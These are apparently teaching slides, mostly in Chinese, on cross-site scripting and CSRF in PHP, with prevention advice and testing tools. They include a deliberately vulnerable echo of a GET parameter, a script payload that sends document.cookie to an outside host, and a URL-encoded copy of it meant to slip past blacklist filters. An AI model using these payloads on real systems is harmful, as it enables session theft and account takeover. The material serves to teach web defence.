Cross Site Scripting

yungshin
yungshin@cna.ccu.edu.tw

一行的程式


```
<?php
  echo $_GET[ ‘user’ ];
?>
```

XSS(Cross Site Scripting)

- Attacker
  - 直接塞tag
  - http://victim_host/index.php ?user=<script>alert(document.cookie);</script>
  - http://victim_host/index.php ?user=<script>document.location='http://140.123.214.10/~yungshin/nsc/demo1/get.php?cookie='%2Bdocument.cookie;</script> “
- Q:沒關係，我們家有買資安設備，IPS或IDS設一下黑名單就好啦!

XSS(Cross Site Scripting)

- URL_Encode!
- http://victim_host/index.php?user=%3C%73%63%72%69%70%74%3E%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3D%27%68%74%74%70%3A%2F%2F%31%34%30%2e%31%32%33%2e%32%31%34%2e%31%30%2F%7E%79%75%6e%67%73%68%69%6e%2F%6e%73%63%2F%64%65%6d%6f%31%2F%67%65%74%2e%70%68%70%3F%63%6f%6f%6b%69%65%3D%27%2B%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3B%3C%2F%73%63%72%69%70%74%3E

Prevention

- 問題出在網頁顯示的時候，會把特殊意義的字元給印出來

- htmlspecialchars($str, ENT_QUOTES)
  - 特殊字元(<, >...)
  - 單引號
  - 雙引號

CSRF

- Cross Site Request Forgeries

- Step 1: 駭客利用電子郵件或圖片，寄送含CSRF漏洞的http連結給被害者
- Step 2: 被害者登入有CSRF漏洞的網站
- Step 3: 被害者在登入期間，在不注意的狀況下按下了駭客所寄送的CSRF網站的連結
- Step 4: 網站執行此連結，觸發攻擊

prevention

- 檢查網頁的來源
  - $_SERVER[‘HTTP_REFERER’]
- 檢查內建的隱藏變數
  - uniqid()
  - rand()
  - md5()
- 使用POST，少用GET

Tools

- Analyzing HTTP traffic
  - LiveHTTPHeader
  - TamperData
- XSS check
  - GreaseMonkey+XSSassistant
  - Paros

Tools

- http://www.parosproxy.org
- Java開發的www網站弱點掃描軟體。
- Man-in-the-middle proxy：
- 使用者透過Paros當作Proxy再向遠端WWW server做連線瀏覽。
- 自動檢查：SQL injection、Directory Browsing等常見問題。